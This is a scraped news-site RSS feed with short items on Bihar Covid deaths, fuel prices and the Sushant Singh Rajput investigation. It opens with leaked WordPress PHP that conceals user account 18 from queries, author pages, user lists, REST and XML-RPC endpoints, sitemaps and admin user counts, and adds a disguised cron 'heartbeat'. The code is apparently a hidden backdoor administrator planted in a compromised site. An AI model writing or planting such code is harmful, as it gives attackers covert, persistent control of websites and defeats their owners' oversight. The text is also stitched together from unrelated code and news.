add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Bihar Covid Death Spikes, Sets Off New Records In India appeared first on The Edge Media.
]]>The administration of Nitish Kumar claimed on Wednesday that the virus has killed 9,429 people in the state compared to 5,500 before.
In the second wave of Covid in April-May, the Patna High Court requested a thorough review, alleging that the Government of Bihar had hidden the severity of illness and mortality.
The State Department of Health reported that following verification of all districts, almost 72 percent more were added. It did not disclose when these extra fatalities occurred in 38 districts.
The post Bihar Covid Death Spikes, Sets Off New Records In India appeared first on The Edge Media.
]]>The post Tejaswi Yadav converts his Government residence into Covid-19 care centre appeared first on The Edge Media.
]]>He has also made a request to convert all the Government residences into covid care centers. He also added that he has already written a letter to the Chief Minister of Bihar, Nitish Kumar and he has not recieved any response so far.
“Being a responsible opposition, we want to give our residence to the state Government for the peoploe.He has urged the State Government to take over the Covid Care Centre. He further added that they are there to hwlp in any way possible and to just let them know what they can do to help.
The post Tejaswi Yadav converts his Government residence into Covid-19 care centre appeared first on The Edge Media.
]]>The post Petrol-Diesel Price Today: After century of petrol in Rajasthan, know new rates of these cities including Lucknow-Patna appeared first on The Edge Media.
]]>However, the government oil companies have again increased the price of petrol diesel. For this reason, the price of petrol and diesel has increased from 18 to 29 paise per liter. Petrol in Delhi has increased by 24 paise to Rs 92.58 and diesel by 27 paise to Rs 83.22 per liter. Explain that in 9 days, petrol in Delhi has become expensive by Rs 2.18 and diesel by Rs 2.49 per liter. At the same time, in Bihar’s Rajdhani Patna, petrol has been increased to Rs 94.79 and diesel to Rs 88.46 per liter.
The post Petrol-Diesel Price Today: After century of petrol in Rajasthan, know new rates of these cities including Lucknow-Patna appeared first on The Edge Media.
]]>The post CBI Questions Rhea Chakraborty & Her Brother Again appeared first on The Edge Media.
]]>The 28-year-old actress is accused of abetting Rajput’s suicide. Her brother Showik Chakraborty was also called by the CBI for the fourth day in a row for questioning in the case, the official said.
Rhea Chakraborty and her brother reached the DRDO guest house at Kalina in Santacruz, where the probe team is stationed, around 10.30 am, he said. A Mumbai Police vehicle escorted the car in which the two arrived at the guest house, he said. Rajput’s manager Samual Miranda and domestic help Keshav also reached the guest house in the morning.
Earlier, Rhea Chakraborty was questioned for nearly 10 hours on Friday and allowed to return home under police escort as a large number of media personnel were present outside her building. She was quizzed for around seven hours on Saturday. Her brother is being questioned by the CBI since Thursday.
On Saturday, the CBI also questioned Rajput’s flatmate Siddharth Pithani, cook Neeraj Singh and accountant Rajat Mewati at the guest house. Rajput (34) was found hanging in his flat in suburban Bandra on June 14.
Rhea Chakraborty had been earlier questioned by the Mumbai Police in the case. The Enforcement Directorate has also quizzed her in a related money laundering case.
The Supreme Court last week upheld the transfer of an FIR, lodged by Rajput’s father in Patna against the actress and others for allegedly abetting his son’s suicide and misappropriating his money, to the CBI.
– PTI
The post CBI Questions Rhea Chakraborty & Her Brother Again appeared first on The Edge Media.
]]>The post Sushant Singh Rajput Death Case: Unidentified Person Brought In For Investigation appeared first on The Edge Media.
]]>“A meeting of CBI officers, who arrived from Delhi yesterday, is underway at airforce transit facility in Santacruz, Mumbai”, sources said.
On August 19, while holding that the FIR registered in Patna over the death of Bollywood actor was legitimate, the Supreme Court directed the CBI to investigate the case.
The single-judge bench of Justice Hrishikesh Roy also said the Bihar Government was competent to recommend transferring the case to the CBI.
The apex court also asked the Mumbai Police to hand over all the evidence collected so far in the case to the CBI. The State of Maharashtra refused the option to challenge the order, Justice Roy said.
The CBI has registered an FIR against Rhea Chakraborty and others in connection with the actor’s death after the Centre accepted Bihar Government’s recommendation to transfer the probe in the matter from Patna.
An FIR was registered in Patna on a complaint filed by KK Singh, Rajput’s father, under sections related to abetment to suicide. Rajput was found dead at his Mumbai residence on June 14.
– PTI
The post Sushant Singh Rajput Death Case: Unidentified Person Brought In For Investigation appeared first on The Edge Media.
]]>The post Sanjay Raut Over Demand of Apology by Sushant’s Family : “We’ll Think about it.” appeared first on The Edge Media.
]]>
In his column in the Shiv Sena’s paper, Saamna, Raut claimed that the actor didn’t share good relations with his father K K Singh. I have received such information. How many times did Rajput visit his father in Patna in the last few years? he asked.
Raut also said that Bihar DGP Gupteshwar Pandey was working for a political party and allegedly tried to contest an election on a BJP ticket. “What can you expect from such a police force?”‘ he asked.
The Rajput family’s lawyer says, “Siddharth Pithani is extremely dubious. He is a very intelligent criminal. What he did was, until FIR was registered by family he was talking to them regularly and trying to help them. The moment FIR was registered, he started helping Rhea.”
“The way he has behaved after registration of FIR, the way he is writing email to Rhea when she’s a named accused. Helping a named accused in this manner shows complicity between Rhea and him. It is only upon custodial interrogation that the real truth will come out.”
Pithani was a friend of Rajput’s.
The post Sanjay Raut Over Demand of Apology by Sushant’s Family : “We’ll Think about it.” appeared first on The Edge Media.
]]>